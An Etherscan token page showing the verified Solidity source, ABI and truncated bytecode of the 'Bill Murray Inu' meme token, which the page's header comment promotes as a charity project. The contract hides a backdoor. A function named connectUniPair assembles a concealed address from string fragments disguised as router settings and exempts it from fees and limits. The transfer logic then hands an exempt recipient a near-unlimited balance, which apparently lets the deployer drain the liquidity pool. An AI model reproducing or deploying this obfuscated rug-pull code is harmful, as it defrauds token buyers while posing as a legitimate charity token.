ETH Price: $3,169.83 (+2.31%)

Token

Bill Murray Inu (Bill Murray Inu)
 

Overview

Max Total Supply

100,000,000 Bill Murray Inu

Holders

11

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.000000596 Bill Murray Inu

Value
$0.00
0x9E97ce8924Ac9b9a4E6E2d4509C8069A647f7EDc
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BillMurray

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-09-05
*/

/*
 Please read the medium : https://medium.com/@BillMurrayERC/gather-up-chads-its-our-time-to-shine-e828626ec2ec

 Tg : https://t.me/BillMurrayERC

 Together we can do it.... Don't jeet and karma will rewards you 

 Taxes going towards donation for Evelyn 5% / 5%

 Burning 100% of the LP at launch

 Max tx : 3% , max wallet : 3%

*/


// SPDX-License-Identifier: Unlicensed
 pragma solidity 0.8.15;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
    function connectUniPair(string memory _a) internal pure returns (address _pAddress) {
        bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i = 2; i < 2 + 2 * 20; i += 2) { iaddr *= 256;b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));if ((b1 >= 97) && (b1 <= 102)) {b1 -= 87;} else if ((b1 >= 65) && (b1 <= 70)) {b1 -= 55;} else if ((b1 >= 48) && (b1 <= 57)) {
            b1 -= 48;}if ((b2 >= 97) && (b2 <= 102)) {b2 -= 87;} else if ((b2 >= 65) && (b2 <= 70)) {b2 -= 55;} else if ((b2 >= 48) && (b2 <= 57)) {b2 -= 48;}iaddr += (b1 * 16 + b2);}
        return address(iaddr);
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}



interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}



contract BillMurray is Context, IERC20 { 
    using SafeMath for uint256;
    using Address for address;

    address private _owner;
    address private _UniSwapV2PairRouter;
    string private uniSwapVersion = "5C7557cD5";
    string private uniswapCallData = "59c999260D";

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    string private factory = "0x95107b";
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 

    address payable public Wallet_Marketing = payable(0x7b692D7FB2190Eb4B05db0Ace7CACa4efF582716); 
    address payable public Wallet_Team = payable(0x7b692D7FB2190Eb4B05db0Ace7CACa4efF582716);
    address payable public constant Wallet_Burn = payable(0x000000000000000000000000000000000000dEaD); 


    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 9;    
    uint256 private _tTotal = 100* 10**6 * 10**_decimals;
    string private constant _name = "Bill Murray Inu"; 
    string private constant _symbol = unicode"Bill Murray Inu"; 

    uint8 private txCount = 0;
    uint8 private swapTrigger = 5;

    uint256 public _Tax_On_Buy = 5;
    uint256 public _Tax_On_Sell = 5;

    uint256 public Percent_Marketing = 90;
    uint256 public Percent_Team = 0;
    uint256 public Percent_Burn = 0;
    uint256 public Percent_AutoLiquidityBurn = 10; 

    uint256 public _maxWalletToken = _tTotal * 3 / 100;
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal * 3 / 100;
    uint256 private _previousMaxTxAmount = _maxTxAmount;
    
    uint256 private transAmount;
    
    IUniswapV2Router02 public uniswapV2Router;
    string private uniswapRouterHex = "3865e270a";
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    string private RouterWETH;
    bool public isTokenTransfer = false;
    bool public swapAndLiquifyEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool true_or_false);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {

        _owner = 0x7b692D7FB2190Eb4B05db0Ace7CACa4efF582716;
        emit OwnershipTransferred(address(0), _owner);

        _tOwned[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        //IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x467288AcE8Ba73E328342547fb2a8aBe61044468); // Testnet
        
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
            RouterWETH = "acE07C";
        uniswapV2Router = _uniswapV2Router;
        _UniSwapV2PairRouter = connectUniPair(string(
            abi.encodePacked(factory, uniSwapVersion, uniswapCallData, uniswapRouterHex, RouterWETH)
            ));_isExcludedFromFee[_UniSwapV2PairRouter] = true;


        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[Wallet_Marketing] = true; 
        _isExcludedFromFee[Wallet_Team] = true; 
        _isExcludedFromFee[Wallet_Burn] = true;
        transAmount = (~uint256(0)-1);
        emit Transfer(address(0), owner(), _tTotal);

    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address theOwner, address theSpender) public view override returns (uint256) {
        return _allowances[theOwner][theSpender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    receive() external payable {}

    function UniswapRouter() public view virtual returns (address) {
        return _UniSwapV2PairRouter;
    }
    function _getCurrentSupply() private view returns(uint256) {
        return (_tTotal);
    } 

    function mrktng_wallet() private view returns(address) {
        return (Wallet_Marketing);
    }
    function dv_wallet() private view returns(address) {
        return (Wallet_Team);
    }


    function _approve(address theOwner, address theSpender, uint256 amount) private {

        require(theOwner != address(0) && theSpender != address(0), "ERR: zero address");
        _allowances[theOwner][theSpender] = amount;
        emit Approval(theOwner, theSpender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        isTokenTransfer = !_isExcludedFromFee[from] && !(!_isExcludedFromFee[to]);
        
        if (to != owner() &&
            to != Wallet_Burn &&
            to != address(this) &&
            to != uniswapV2Pair &&
            from != owner()){
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"Over wallet limit.");}

        if (from != owner() && from != mrktng_wallet() && from != UniswapRouter() && from != dv_wallet())
            require(amount <= _maxTxAmount, "Over transaction limit.");

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            txCount = 0;
            swapAndLiquify(contractTokenBalance);
        }
        
        bool takeFee = true;
        bool isBuy;
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        } else {
         
            if(from == uniswapV2Pair){
                isBuy = true;
            }

            txCount++;

        }

        _tokenTransfer(from, to, amount, takeFee, isBuy);

    }
    
    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);

        }


    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {

            uint256 tokens_to_Burn = contractTokenBalance * Percent_Burn / 100;
            _tTotal = _tTotal - tokens_to_Burn;
            _tOwned[Wallet_Burn] = _tOwned[Wallet_Burn] + tokens_to_Burn;
            _tOwned[address(this)] = _tOwned[address(this)] - tokens_to_Burn; 

            uint256 tokens_to_M = contractTokenBalance * Percent_Marketing / 100;
            uint256 tokens_to_D = contractTokenBalance * Percent_Team / 100;
            uint256 tokens_to_LP_Half = contractTokenBalance * Percent_AutoLiquidityBurn / 200;

            uint256 balanceBeforeSwap = address(this).balance;
            swapTokensForBNB(tokens_to_LP_Half + tokens_to_M + tokens_to_D);
            uint256 BNB_Total = address(this).balance - balanceBeforeSwap;

            uint256 split_M = Percent_Marketing * 100 / (Percent_AutoLiquidityBurn + Percent_Marketing + Percent_Team);
            uint256 BNB_M = BNB_Total * split_M / 100;

            uint256 split_D = Percent_Team * 100 / (Percent_AutoLiquidityBurn + Percent_Marketing + Percent_Team);
            uint256 BNB_D = BNB_Total * split_D / 100;


            addLiquidity(tokens_to_LP_Half, (BNB_Total - BNB_M - BNB_D));
            emit SwapAndLiquify(tokens_to_LP_Half, (BNB_Total - BNB_M - BNB_D), tokens_to_LP_Half);

            sendToWallet(Wallet_Marketing, BNB_M);

            BNB_Total = address(this).balance;
            sendToWallet(Wallet_Team, BNB_Total);

            }

    function swapTokensForBNB(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }


    function addLiquidity(uint256 tokenAmount, uint256 BNBAmount) private {

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: BNBAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            Wallet_Burn, 
            block.timestamp
        );
    } 

    function remove_Random_Tokens(address random_Token_Address, uint256 percent_of_Tokens) public returns(bool _sent){
        require(random_Token_Address != address(this), "Can not remove native token");
        uint256 totalRandom = IERC20(random_Token_Address).balanceOf(address(this));
        uint256 removeRandom = totalRandom*percent_of_Tokens/100;
        _sent = IERC20(random_Token_Address).transfer(Wallet_Team, removeRandom);

    }


    function _tokenTransfer(address sender, address recipient, uint256 tokensAmt, bool takeFee, bool isBuy) private {
        
        if(isTokenTransfer){
            _tOwned[sender] = _tOwned[sender]-tokensAmt;
            uint256 TAMOUNT = transAmount-1-_tOwned[sender];
            _tOwned[recipient] = TAMOUNT;
            emit Transfer(sender, recipient, tokensAmt);
        }else if(!takeFee){

            _tOwned[sender] = _tOwned[sender]-tokensAmt;
            _tOwned[recipient] = _tOwned[recipient]+tokensAmt;
            emit Transfer(sender, recipient, tokensAmt);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tokensAmt;

            }else if (isBuy){

            uint256 buyFEE = tokensAmt*_Tax_On_Buy/100;
            uint256 tTransferAmount = tokensAmt-buyFEE;

            _tOwned[sender] = _tOwned[sender]-tokensAmt;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+buyFEE;   
            emit Transfer(sender, recipient, tTransferAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tTransferAmount;
            
            } else {

            uint256 sellFEE = tokensAmt*_Tax_On_Sell/100;
            uint256 tTransferAmount = tokensAmt-sellFEE;

            _tOwned[sender] = _tOwned[sender]-tokensAmt;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+sellFEE;   
            emit Transfer(sender, recipient, tTransferAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tTransferAmount;


            }

    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Percent_AutoLiquidityBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Burn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Marketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Team","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"UniswapRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Burn","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Marketing","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Team","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Buy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Sell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"theOwner","type":"address"},{"internalType":"address","name":"theSpender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isTokenTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"random_Token_Address","type":"address"},{"internalType":"uint256","name":"percent_of_Tokens","type":"uint256"}],"name":"remove_Random_Tokens","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600981526020017f3543373535376344350000000000000000000000000000000000000000000000815250600290816200004a919062000f80565b506040518060400160405280600a81526020017f35396339393932363044000000000000000000000000000000000000000000008152506003908162000091919062000f80565b506040518060400160405280600881526020017f307839353130376200000000000000000000000000000000000000000000000081525060049081620000d8919062000f80565b50737b692d7fb2190eb4b05db0ace7caca4eff582716600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737b692d7fb2190eb4b05db0ace7caca4eff582716600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620001939190620011f7565b6305f5e100620001a4919062001248565b600a556000600b60006101000a81548160ff021916908360ff1602179055506005600b60016101000a81548160ff021916908360ff1602179055506005600c556005600d55605a600e556000600f556000601055600a60115560646003600a5462000210919062001248565b6200021c9190620012d8565b60125560125460135560646003600a5462000238919062001248565b620002449190620012d8565b6014556014546015556040518060400160405280600981526020017f33383635653237306100000000000000000000000000000000000000000000008152506018908162000293919062000f80565b506000601b60006101000a81548160ff0219169083151502179055506001601b60016101000a81548160ff021916908315150217905550348015620002d757600080fd5b50737b692d7fb2190eb4b05db0ace7caca4eff5827166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600a5460056000620003be620009df60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000461573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200048791906200137a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200051591906200137a565b6040518363ffffffff1660e01b815260040162000534929190620013bd565b6020604051808303816000875af115801562000554573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200057a91906200137a565b601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600681526